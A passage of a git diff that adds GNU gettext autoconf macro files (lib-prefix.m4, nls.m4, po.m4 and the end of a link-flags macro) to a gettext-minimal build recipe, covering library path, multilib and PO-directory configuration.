+ [$1]="${[$1]}${[$1]:+ }$element"
+ fi
+ done
+])
+
+dnl For those cases where a variable contains several -L and -l options
+dnl referring to unknown libraries and directories, this macro determines the
+dnl necessary additional linker options for the runtime path.
+dnl AC_LIB_LINKFLAGS_FROM_LIBS([LDADDVAR], [LIBSVALUE], [USE-LIBTOOL])
+dnl sets LDADDVAR to linker options needed together with LIBSVALUE.
+dnl If USE-LIBTOOL evaluates to non-empty, linking with libtool is assumed,
+dnl otherwise linking without libtool is assumed.
+AC_DEFUN([AC_LIB_LINKFLAGS_FROM_LIBS],
+[
+ AC_REQUIRE([AC_LIB_RPATH])
+ AC_REQUIRE([AC_LIB_PREPARE_MULTILIB])
+ $1=
+ if test "$enable_rpath" != no; then
+ if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then
+ dnl Use an explicit option to hardcode directories into the resulting
+ dnl binary.
+ rpathdirs=
+ next=
+ for opt in $2; do
+ if test -n "$next"; then
+ dir="$next"
+ dnl No need to hardcode the standard /usr/lib.
+ if test "X$dir" != "X/usr/$acl_libdirstem" \
+ && test "X$dir" != "X/usr/$acl_libdirstem2" \
+ && test "X$dir" != "X/usr/$acl_libdirstem3"; then
+ rpathdirs="$rpathdirs $dir"
+ fi
+ next=
+ else
+ case $opt in
+ -L) next=yes ;;
+ -L*) dir=`echo "X$opt" | sed -e 's,^X-L,,'`
+ dnl No need to hardcode the standard /usr/lib.
+ if test "X$dir" != "X/usr/$acl_libdirstem" \
+ && test "X$dir" != "X/usr/$acl_libdirstem2" \
+ && test "X$dir" != "X/usr/$acl_libdirstem3"; then
+ rpathdirs="$rpathdirs $dir"
+ fi
+ next= ;;
+ *) next= ;;
+ esac
+ fi
+ done
+ if test "X$rpathdirs" != "X"; then
+ if test -n ""$3""; then
+ dnl libtool is used for linking. Use -R options.
+ for dir in $rpathdirs; do
+ $1="${$1}${$1:+ }-R$dir"
+ done
+ else
+ dnl The linker is used for linking directly.
+ if test -n "$acl_hardcode_libdir_separator"; then
+ dnl Weird platform: only the last -rpath option counts, the user
+ dnl must pass all path elements in one option.
+ alldirs=
+ for dir in $rpathdirs; do
+ alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$dir"
+ done
+ acl_save_libdir="$libdir"
+ libdir="$alldirs"
+ eval flag=\"$acl_hardcode_libdir_flag_spec\"
+ libdir="$acl_save_libdir"
+ $1="$flag"
+ else
+ dnl The -rpath options are cumulative.
+ for dir in $rpathdirs; do
+ acl_save_libdir="$libdir"
+ libdir="$dir"
+ eval flag=\"$acl_hardcode_libdir_flag_spec\"
+ libdir="$acl_save_libdir"
+ $1="${$1}${$1:+ }$flag"
+ done
+ fi
+ fi
+ fi
+ fi
+ fi
+ AC_SUBST([$1])
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-prefix.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-prefix.m4
new file mode 100644
index 0000000000..c8a0b464c2
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-prefix.m4
@@ -0,0 +1,320 @@
+# lib-prefix.m4 serial 17
+dnl Copyright (C) 2001-2005, 2008-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+
+dnl From Bruno Haible.
+
+dnl AC_LIB_PREFIX adds to the CPPFLAGS and LDFLAGS the flags that are needed
+dnl to access previously installed libraries. The basic assumption is that
+dnl a user will want packages to use other packages he previously installed
+dnl with the same --prefix option.
+dnl This macro is not needed if only AC_LIB_LINKFLAGS is used to locate
+dnl libraries, but is otherwise very convenient.
+AC_DEFUN([AC_LIB_PREFIX],
+[
+ AC_BEFORE([$0], [AC_LIB_LINKFLAGS])
+ AC_REQUIRE([AC_PROG_CC])
+ AC_REQUIRE([AC_CANONICAL_HOST])
+ AC_REQUIRE([AC_LIB_PREPARE_MULTILIB])
+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
+ dnl By default, look in $includedir and $libdir.
+ use_additional=yes
+ AC_LIB_WITH_FINAL_PREFIX([
+ eval additional_includedir=\"$includedir\"
+ eval additional_libdir=\"$libdir\"
+ ])
+ AC_ARG_WITH([lib-prefix],
+[[ --with-lib-prefix[=DIR] search for libraries in DIR/include and DIR/lib
+ --without-lib-prefix don't search for libraries in includedir and libdir]],
+[
+ if test "X$withval" = "Xno"; then
+ use_additional=no
+ else
+ if test "X$withval" = "X"; then
+ AC_LIB_WITH_FINAL_PREFIX([
+ eval additional_includedir=\"$includedir\"
+ eval additional_libdir=\"$libdir\"
+ ])
+ else
+ additional_includedir="$withval/include"
+ additional_libdir="$withval/$acl_libdirstem"
+ fi
+ fi
+])
+ if test $use_additional = yes; then
+ dnl Potentially add $additional_includedir to $CPPFLAGS.
+ dnl But don't add it
+ dnl 1. if it's the standard /usr/include,
+ dnl 2. if it's already present in $CPPFLAGS,
+ dnl 3. if it's /usr/local/include and we are using GCC on Linux,
+ dnl 4. if it doesn't exist as a directory.
+ if test "X$additional_includedir" != "X/usr/include"; then
+ haveit=
+ for x in $CPPFLAGS; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ if test "X$x" = "X-I$additional_includedir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ if test "X$additional_includedir" = "X/usr/local/include"; then
+ if test -n "$GCC"; then
+ case $host_os in
+ linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+ esac
+ fi
+ fi
+ if test -z "$haveit"; then
+ if test -d "$additional_includedir"; then
+ dnl Really add $additional_includedir to $CPPFLAGS.
+ CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }-I$additional_includedir"
+ fi
+ fi
+ fi
+ fi
+ dnl Potentially add $additional_libdir to $LDFLAGS.
+ dnl But don't add it
+ dnl 1. if it's the standard /usr/lib,
+ dnl 2. if it's already present in $LDFLAGS,
+ dnl 3. if it's /usr/local/lib and we are using GCC on Linux,
+ dnl 4. if it doesn't exist as a directory.
+ if test "X$additional_libdir" != "X/usr/$acl_libdirstem"; then
+ haveit=
+ for x in $LDFLAGS; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ if test "X$x" = "X-L$additional_libdir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ if test "X$additional_libdir" = "X/usr/local/$acl_libdirstem"; then
+ if test -n "$GCC"; then
+ case $host_os in
+ linux*) haveit=yes;;
+ esac
+ fi
+ fi
+ if test -z "$haveit"; then
+ if test -d "$additional_libdir"; then
+ dnl Really add $additional_libdir to $LDFLAGS.
+ LDFLAGS="${LDFLAGS}${LDFLAGS:+ }-L$additional_libdir"
+ fi
+ fi
+ fi
+ fi
+ fi
+])
+
+dnl AC_LIB_PREPARE_PREFIX creates variables acl_final_prefix,
+dnl acl_final_exec_prefix, containing the values to which $prefix and
+dnl $exec_prefix will expand at the end of the configure script.
+AC_DEFUN([AC_LIB_PREPARE_PREFIX],
+[
+ dnl Unfortunately, prefix and exec_prefix get only finally determined
+ dnl at the end of configure.
+ if test "X$prefix" = "XNONE"; then
+ acl_final_prefix="$ac_default_prefix"
+ else
+ acl_final_prefix="$prefix"
+ fi
+ if test "X$exec_prefix" = "XNONE"; then
+ acl_final_exec_prefix='${prefix}'
+ else
+ acl_final_exec_prefix="$exec_prefix"
+ fi
+ acl_save_prefix="$prefix"
+ prefix="$acl_final_prefix"
+ eval acl_final_exec_prefix=\"$acl_final_exec_prefix\"
+ prefix="$acl_save_prefix"
+])
+
+dnl AC_LIB_WITH_FINAL_PREFIX([statement]) evaluates statement, with the
+dnl variables prefix and exec_prefix bound to the values they will have
+dnl at the end of the configure script.
+AC_DEFUN([AC_LIB_WITH_FINAL_PREFIX],
+[
+ acl_save_prefix="$prefix"
+ prefix="$acl_final_prefix"
+ acl_save_exec_prefix="$exec_prefix"
+ exec_prefix="$acl_final_exec_prefix"
+ $1
+ exec_prefix="$acl_save_exec_prefix"
+ prefix="$acl_save_prefix"
+])
+
+dnl AC_LIB_PREPARE_MULTILIB creates
+dnl - a function acl_is_expected_elfclass, that tests whether standard input
+dn; has a 32-bit or 64-bit ELF header, depending on the host CPU ABI,
+dnl - 3 variables acl_libdirstem, acl_libdirstem2, acl_libdirstem3, containing
+dnl the basename of the libdir to try in turn, either "lib" or "lib64" or
+dnl "lib/64" or "lib32" or "lib/sparcv9" or "lib/amd64" or similar.
+AC_DEFUN([AC_LIB_PREPARE_MULTILIB],
+[
+ dnl There is no formal standard regarding lib, lib32, and lib64.
+ dnl On most glibc systems, the current practice is that on a system supporting
+ dnl 32-bit and 64-bit instruction sets or ABIs, 64-bit libraries go under
+ dnl $prefix/lib64 and 32-bit libraries go under $prefix/lib. However, on
+ dnl Arch Linux based distributions, it's the opposite: 32-bit libraries go
+ dnl under $prefix/lib32 and 64-bit libraries go under $prefix/lib.
+ dnl We determine the compiler's default mode by looking at the compiler's
+ dnl library search path. If at least one of its elements ends in /lib64 or
+ dnl points to a directory whose absolute pathname ends in /lib64, we use that
+ dnl for 64-bit ABIs. Similarly for 32-bit ABIs. Otherwise we use the default,
+ dnl namely "lib".
+ dnl On Solaris systems, the current practice is that on a system supporting
+ dnl 32-bit and 64-bit instruction sets or ABIs, 64-bit libraries go under
+ dnl $prefix/lib/64 (which is a symlink to either $prefix/lib/sparcv9 or
+ dnl $prefix/lib/amd64) and 32-bit libraries go under $prefix/lib.
+ AC_REQUIRE([AC_CANONICAL_HOST])
+ AC_REQUIRE([gl_HOST_CPU_C_ABI_32BIT])
+
+ AC_CACHE_CHECK([for ELF binary format], [gl_cv_elf],
+ [AC_EGREP_CPP([Extensible Linking Format],
+ [#ifdef __ELF__
+ Extensible Linking Format
+ #endif
+ ],
+ [gl_cv_elf=yes],
+ [gl_cv_elf=no])
+ ])
+ if test $gl_cv_elf; then
+ # Extract the ELF class of a file (5th byte) in decimal.
+ # Cf. https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#File_header
+ if od -A x < /dev/null >/dev/null 2>/dev/null; then
+ # Use POSIX od.
+ func_elfclass ()
+ {
+ od -A n -t d1 -j 4 -N 1
+ }
+ else
+ # Use BSD hexdump.
+ func_elfclass ()
+ {
+ dd bs=1 count=1 skip=4 2>/dev/null | hexdump -e '1/1 "%3d "'
+ echo
+ }
+ fi
+changequote(,)dnl
+ case $HOST_CPU_C_ABI_32BIT in
+ yes)
+ # 32-bit ABI.
+ acl_is_expected_elfclass ()
+ {
+ test "`func_elfclass | sed -e 's/[ ]//g'`" = 1
+ }
+ ;;
+ no)
+ # 64-bit ABI.
+ acl_is_expected_elfclass ()
+ {
+ test "`func_elfclass | sed -e 's/[ ]//g'`" = 2
+ }
+ ;;
+ *)
+ # Unknown.
+ acl_is_expected_elfclass ()
+ {
+ :
+ }
+ ;;
+ esac
+changequote([,])dnl
+ else
+ acl_is_expected_elfclass ()
+ {
+ :
+ }
+ fi
+
+ dnl Allow the user to override the result by setting acl_cv_libdirstems.
+ AC_CACHE_CHECK([for the common suffixes of directories in the library search path],
+ [acl_cv_libdirstems],
+ [dnl Try 'lib' first, because that's the default for libdir in GNU, see
+ dnl <https://www.gnu.org/prep/standards/html_node/Directory-Variables.html>.
+ acl_libdirstem=lib
+ acl_libdirstem2=
+ acl_libdirstem3=
+ case "$host_os" in
+ solaris*)
+ dnl See Solaris 10 Software Developer Collection > Solaris 64-bit Developer's Guide > The Development Environment
+ dnl <https://docs.oracle.com/cd/E19253-01/816-5138/dev-env/index.html>.
+ dnl "Portable Makefiles should refer to any library directories using the 64 symbolic link."
+ dnl But we want to recognize the sparcv9 or amd64 subdirectory also if the
+ dnl symlink is missing, so we set acl_libdirstem2 too.
+ if test $HOST_CPU_C_ABI_32BIT = no; then
+ acl_libdirstem2=lib/64
+ case "$host_cpu" in
+ sparc*) acl_libdirstem3=lib/sparcv9 ;;
+ i*86 | x86_64) acl_libdirstem3=lib/amd64 ;;
+ esac
+ fi
+ ;;
+ *)
+ dnl If $CC generates code for a 32-bit ABI, the libraries are
+ dnl surely under $prefix/lib or $prefix/lib32, not $prefix/lib64.
+ dnl Similarly, if $CC generates code for a 64-bit ABI, the libraries
+ dnl are surely under $prefix/lib or $prefix/lib64, not $prefix/lib32.
+ dnl Find the compiler's search path. However, non-system compilers
+ dnl sometimes have odd library search paths. But we can't simply invoke
+ dnl '/usr/bin/gcc -print-search-dirs' because that would not take into
+ dnl account the -m32/-m31 or -m64 options from the $CC or $CFLAGS.
+ searchpath=`(LC_ALL=C $CC $CPPFLAGS $CFLAGS -print-search-dirs) 2>/dev/null \
+ | sed -n -e 's,^libraries: ,,p' | sed -e 's,^=,,'`
+ if test $HOST_CPU_C_ABI_32BIT != no; then
+ # 32-bit or unknown ABI.
+ if test -d /usr/lib32; then
+ acl_libdirstem2=lib32
+ fi
+ fi
+ if test $HOST_CPU_C_ABI_32BIT != yes; then
+ # 64-bit or unknown ABI.
+ if test -d /usr/lib64; then
+ acl_libdirstem3=lib64
+ fi
+ fi
+ if test -n "$searchpath"; then
+ acl_save_IFS="${IFS= }"; IFS=":"
+ for searchdir in $searchpath; do
+ if test -d "$searchdir"; then
+ case "$searchdir" in
+ */lib32/ | */lib32 ) acl_libdirstem2=lib32 ;;
+ */lib64/ | */lib64 ) acl_libdirstem3=lib64 ;;
+ */../ | */.. )
+ # Better ignore directories of this form. They are misleading.
+ ;;
+ *) searchdir=`cd "$searchdir" && pwd`
+ case "$searchdir" in
+ */lib32 ) acl_libdirstem2=lib32 ;;
+ */lib64 ) acl_libdirstem3=lib64 ;;
+ esac ;;
+ esac
+ fi
+ done
+ IFS="$acl_save_IFS"
+ if test $HOST_CPU_C_ABI_32BIT = yes; then
+ # 32-bit ABI.
+ acl_libdirstem3=
+ fi
+ if test $HOST_CPU_C_ABI_32BIT = no; then
+ # 64-bit ABI.
+ acl_libdirstem2=
+ fi
+ fi
+ ;;
+ esac
+ test -n "$acl_libdirstem2" || acl_libdirstem2="$acl_libdirstem"
+ test -n "$acl_libdirstem3" || acl_libdirstem3="$acl_libdirstem"
+ acl_cv_libdirstems="$acl_libdirstem,$acl_libdirstem2,$acl_libdirstem3"
+ ])
+ dnl Decompose acl_cv_libdirstems into acl_libdirstem, acl_libdirstem2, and
+ dnl acl_libdirstem3.
+changequote(,)dnl
+ acl_libdirstem=`echo "$acl_cv_libdirstems" | sed -e 's/,.*//'`
+ acl_libdirstem2=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,//' -e 's/,.*//'`
+ acl_libdirstem3=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,[^,]*,//' -e 's/,.*//'`
+changequote([,])dnl
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/nls.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/nls.m4
new file mode 100644
index 0000000000..5a506fc4b5
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/nls.m4
@@ -0,0 +1,32 @@
+# nls.m4 serial 6 (gettext-0.20.2)
+dnl Copyright (C) 1995-2003, 2005-2006, 2008-2014, 2016, 2019-2020 Free
+dnl Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+dnl
+dnl This file can be used in projects which are not available under
+dnl the GNU General Public License or the GNU Lesser General Public
+dnl License but which still want to provide support for the GNU gettext
+dnl functionality.
+dnl Please note that the actual code of the GNU gettext library is covered
+dnl by the GNU Lesser General Public License, and the rest of the GNU
+dnl gettext package is covered by the GNU General Public License.
+dnl They are *not* in the public domain.
+
+dnl Authors:
+dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
+dnl Bruno Haible <haible@clisp.cons.org>, 2000-2003.
+
+AC_PREREQ([2.50])
+
+AC_DEFUN([AM_NLS],
+[
+ AC_MSG_CHECKING([whether NLS is requested])
+ dnl Default is enabled NLS
+ AC_ARG_ENABLE([nls],
+ [ --disable-nls do not use Native Language Support],
+ USE_NLS=$enableval, USE_NLS=yes)
+ AC_MSG_RESULT([$USE_NLS])
+ AC_SUBST([USE_NLS])
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/po.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/po.m4
new file mode 100644
index 0000000000..3778fd7aac
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/po.m4
@@ -0,0 +1,450 @@
+# po.m4 serial 31 (gettext-0.20.2)
+dnl Copyright (C) 1995-2014, 2016, 2018-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+dnl
+dnl This file can be used in projects which are not available under
+dnl the GNU General Public License or the GNU Lesser General Public
+dnl License but which still want to provide support for the GNU gettext
+dnl functionality.
+dnl Please note that the actual code of the GNU gettext library is covered
+dnl by the GNU Lesser General Public License, and the rest of the GNU
+dnl gettext package is covered by the GNU General Public License.
+dnl They are *not* in the public domain.
+
+dnl Authors:
+dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
+dnl Bruno Haible <haible@clisp.cons.org>, 2000-2003.
+
+AC_PREREQ([2.60])
+
+dnl Checks for all prerequisites of the po subdirectory.
+AC_DEFUN([AM_PO_SUBDIRS],
+[
+ AC_REQUIRE([AC_PROG_MAKE_SET])dnl
+ AC_REQUIRE([AC_PROG_INSTALL])dnl
+ AC_REQUIRE([AC_PROG_MKDIR_P])dnl
+ AC_REQUIRE([AC_PROG_SED])dnl
+ AC_REQUIRE([AM_NLS])dnl
+
+ dnl Release version of the gettext macros. This is used to ensure that
+ dnl the gettext macros and po/Makefile.in.in are in sync.
+ AC_SUBST([GETTEXT_MACRO_VERSION], [0.20])
+
+ dnl Perform the following tests also if --disable-nls has been given,
+ dnl because they are needed for "make dist" to work.
+
+ dnl Search for GNU msgfmt in the PATH.
+ dnl The first test excludes Solaris msgfmt and early GNU msgfmt versions.
+ dnl The second test excludes FreeBSD msgfmt.
+ AM_PATH_PROG_WITH_TEST(MSGFMT, msgfmt,
+ [$ac_dir/$ac_word --statistics /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1 &&
+ (if $ac_dir/$ac_word --statistics /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)],
+ :)
+ AC_PATH_PROG([GMSGFMT], [gmsgfmt], [$MSGFMT])
+
+ dnl Test whether it is GNU msgfmt >= 0.15.
+changequote(,)dnl
+ case `$GMSGFMT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in
+ '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) GMSGFMT_015=: ;;
+ *) GMSGFMT_015=$GMSGFMT ;;
+ esac
+changequote([,])dnl
+ AC_SUBST([GMSGFMT_015])
+
+ dnl Search for GNU xgettext 0.12 or newer in the PATH.
+ dnl The first test excludes Solaris xgettext and early GNU xgettext versions.
+ dnl The second test excludes FreeBSD xgettext.
+ AM_PATH_PROG_WITH_TEST(XGETTEXT, xgettext,
+ [$ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1 &&
+ (if $ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)],
+ :)
+ dnl Remove leftover from FreeBSD xgettext call.
+ rm -f messages.po
+
+ dnl Test whether it is GNU xgettext >= 0.15.
+changequote(,)dnl
+ case `$XGETTEXT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in
+ '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) XGETTEXT_015=: ;;
+ *) XGETTEXT_015=$XGETTEXT ;;
+ esac
+changequote([,])dnl
+ AC_SUBST([XGETTEXT_015])
+
+ dnl Search for GNU msgmerge 0.11 or newer in the PATH.
+ AM_PATH_PROG_WITH_TEST(MSGMERGE, msgmerge,
+ [$ac_dir/$ac_word --update -q /dev/null /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1], :)
+
+ dnl Test whether it is GNU msgmerge >= 0.20.
+ if LC_ALL=C $MSGMERGE --help | grep ' --for-msgfmt ' >/dev/null; then
+ MSGMERGE_FOR_MSGFMT_OPTION='--for-msgfmt'
+ else
+ dnl Test whether it is GNU msgmerge >= 0.12.
+ if LC_ALL=C $MSGMERGE --help | grep ' --no-fuzzy-matching ' >/dev/null; then
+ MSGMERGE_FOR_MSGFMT_OPTION='--no-fuzzy-matching --no-location --quiet'
+ else
+ dnl With these old versions, $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) is
+ dnl slow. But this is not a big problem, as such old gettext versions are
+ dnl hardly in use any more.
+ MSGMERGE_FOR_MSGFMT_OPTION='--no-location --quiet'
+ fi
+ fi
+ AC_SUBST([MSGMERGE_FOR_MSGFMT_OPTION])
+
+ dnl Support for AM_XGETTEXT_OPTION.
+ test -n "${XGETTEXT_EXTRA_OPTIONS+set}" || XGETTEXT_EXTRA_OPTIONS=
+ AC_SUBST([XGETTEXT_EXTRA_OPTIONS])
+
+ AC_CONFIG_COMMANDS([po-directories], [[
+ for ac_file in $CONFIG_FILES; do
+ # Support "outfile[:infile[:infile...]]"
+ case "$ac_file" in
+ *:*) ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;;
+ esac
+ # PO directories have a Makefile.in generated from Makefile.in.in.
+ case "$ac_file" in */Makefile.in)
+ # Adjust a relative srcdir.
+ ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'`
+ ac_dir_suffix=/`echo "$ac_dir"|sed 's%^\./%%'`
+ ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'`
+ # In autoconf-2.13 it is called $ac_given_srcdir.
+ # In autoconf-2.50 it is called $srcdir.
+ test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir"
+ case "$ac_given_srcdir" in
+ .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;;
+ /*) top_srcdir="$ac_given_srcdir" ;;
+ *) top_srcdir="$ac_dots$ac_given_srcdir" ;;
+ esac
+ # Treat a directory as a PO directory if and only if it has a
+ # POTFILES.in file. This allows packages to have multiple PO
+ # directories under different names or in different locations.
+ if test -f "$ac_given_srcdir/$ac_dir/POTFILES.in"; then
+ rm -f "$ac_dir/POTFILES"
+ test -n "$as_me" && echo "$as_me: creating $ac_dir/POTFILES" || echo "creating $ac_dir/POTFILES"
+ gt_tab=`printf '\t'`
+ cat "$ac_given_srcdir/$ac_dir/POTFILES.in" | sed -e "/^#/d" -e "/^[ ${gt_tab}]*\$/d" -e "s,.*, $top_srcdir/& \\\\," | sed -e "\$s/\(.*\) \\\\/\1/" > "$ac_dir/POTFILES"
+ POMAKEFILEDEPS="POTFILES.in"
+ # ALL_LINGUAS, POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES depend
+ # on $ac_dir but don't depend on user-specified configuration
+ # parameters.
+ if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then
+ # The LINGUAS file contains the set of available languages.
+ if test -n "$OBSOLETE_ALL_LINGUAS"; then
+ test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete"
+ fi
+ ALL_LINGUAS=`sed -e "/^#/d" -e "s/#.*//" "$ac_given_srcdir/$ac_dir/LINGUAS"`
+ POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS"
+ else
+ # The set of available languages was given in configure.in.
+ ALL_LINGUAS=$OBSOLETE_ALL_LINGUAS
+ fi
+ # Compute POFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po)
+ # Compute UPDATEPOFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update)
+ # Compute DUMMYPOFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop)
+ # Compute GMOFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo)
+ case "$ac_given_srcdir" in
+ .) srcdirpre= ;;
+ *) srcdirpre='$(srcdir)/' ;;
+ esac
+ POFILES=
+ UPDATEPOFILES=
+ DUMMYPOFILES=
+ GMOFILES=
+ for lang in $ALL_LINGUAS; do
+ POFILES="$POFILES $srcdirpre$lang.po"
+ UPDATEPOFILES="$UPDATEPOFILES $lang.po-update"
+ DUMMYPOFILES="$DUMMYPOFILES $lang.nop"
+ GMOFILES="$GMOFILES $srcdirpre$lang.gmo"
+ done
+ # CATALOGS depends on both $ac_dir and the user's LINGUAS
+ # environment variable.
+ INST_LINGUAS=
+ if test -n "$ALL_LINGUAS"; then
+ for presentlang in $ALL_LINGUAS; do
+ useit=no
+ if test "%UNSET%" != "$LINGUAS"; then
+ desiredlanguages="$LINGUAS"
+ else
+ desiredlanguages="$ALL_LINGUAS"
+ fi
+ for desiredlang in $desiredlanguages; do
+ # Use the presentlang catalog if desiredlang is
+ # a. equal to presentlang, or
+ # b. a variant of presentlang (because in this case,
+ # presentlang can be used as a fallback for messages
+ # which are not translated in the desiredlang catalog).
+ case "$desiredlang" in
+ "$presentlang"*) useit=yes;;
+ esac
+ done
+ if test $useit = yes; then
+ INST_LINGUAS="$INST_LINGUAS $presentlang"
+ fi
+ done
+ fi
+ CATALOGS=
+ if test -n "$INST_LINGUAS"; then
+ for lang in $INST_LINGUAS; do
+ CATALOGS="$CATALOGS $lang.gmo"
+ done
+ fi
+ test -n "$as_me" && echo "$as_me: creating $ac_dir/Makefile" || echo "creating $ac_dir/Makefile"
+ sed -e "/^POTFILES =/r $ac_dir/POTFILES" -e "/^# Makevars/r $ac_given_srcdir/$ac_dir/Makevars" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@POMAKEFILEDEPS@|$POMAKEFILEDEPS|g" "$ac_dir/Makefile.in" > "$ac_dir/Makefile"
+ for f in "$ac_given_srcdir/$ac_dir"/Rules-*; do
+ if test -f "$f"; then
+ case "$f" in
+ *.orig | *.bak | *~) ;;
+ *) cat "$f" >> "$ac_dir/Makefile" ;;
+ esac
+ fi
+ done
+ fi
+ ;;
+ esac
+ done]],
+ [# Capture the value of obsolete ALL_LINGUAS because we need it to compute
+ # POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES, CATALOGS.
+ OBSOLETE_ALL_LINGUAS="$ALL_LINGUAS"
+ # Capture the value of LINGUAS because we need it to compute CATALOGS.
+ LINGUAS="${LINGUAS-%UNSET%}"
+ ])
+])
+
+dnl Postprocesses a Makefile in a directory containing PO files.
+AC_DEFUN([AM_POSTPROCESS_PO_MAKEFILE],
+[
+ # When this code is run, in config.status, two variables have already been
+ # set:
+ # - OBSOLETE_ALL_LINGUAS is the value of LINGUAS set in configure.in,
+ # - LINGUAS is the value of the environment variable LINGUAS at configure
+ # time.
+
+changequote(,)dnl
+ # Adjust a relative srcdir.
+ ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'`
+ ac_dir_suffix=/`echo "$ac_dir"|sed 's%^\./%%'`
+ ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'`
+ # In autoconf-2.13 it is called $ac_given_srcdir.
+ # In autoconf-2.50 it is called $srcdir.
+ test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir"
+ case "$ac_given_srcdir" in
+ .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;;
+ /*) top_srcdir="$ac_given_srcdir" ;;
+ *) top_srcdir="$ac_dots$ac_given_srcdir" ;;
+ esac
+
+ # Find a way to echo strings without interpreting backslash.
+ if test "X`(echo '\t') 2>/dev/null`" = 'X\t'; then
+ gt_echo='echo'
+ else
+ if test "X`(printf '%s\n' '\t') 2>/dev/null`" = 'X\t'; then
+ gt_echo='printf %s\n'
+ else
+ echo_func () {
+ cat <<EOT
+$*
+EOT
+ }
+ gt_echo='echo_func'
+ fi
+ fi
+
+ # A sed script that extracts the value of VARIABLE from a Makefile.
+ tab=`printf '\t'`
+ sed_x_variable='
+# Test if the hold space is empty.
+x
+s/P/P/
+x
+ta
+# Yes it was empty. Look if we have the expected variable definition.
+/^['"${tab}"' ]*VARIABLE['"${tab}"' ]*=/{
+ # Seen the first line of the variable definition.
+ s/^['"${tab}"' ]*VARIABLE['"${tab}"' ]*=//
+ ba
+}
+bd
+:a
+# Here we are processing a line from the variable definition.
+# Remove comment, more precisely replace it with a space.
+s/#.*$/ /
+# See if the line ends in a backslash.
+tb
+:b
+s/\\$//
+# Print the line, without the trailing backslash.
+p
+tc
+# There was no trailing backslash. The end of the variable definition is
+# reached. Clear the hold space.
+s/^.*$//
+x
+bd
+:c
+# A trailing backslash means that the variable definition continues in the
+# next line. Put a nonempty string into the hold space to indicate this.
+s/^.*$/P/
+x
+:d
+'
+changequote([,])dnl
+
+ # Set POTFILES to the value of the Makefile variable POTFILES.
+ sed_x_POTFILES=`$gt_echo "$sed_x_variable" | sed -e '/^ *#/d' -e 's/VARIABLE/POTFILES/g'`
+ POTFILES=`sed -n -e "$sed_x_POTFILES" < "$ac_file"`
+ # Compute POTFILES_DEPS as
+ # $(foreach file, $(POTFILES), $(top_srcdir)/$(file))
+ POTFILES_DEPS=
+ for file in $POTFILES; do
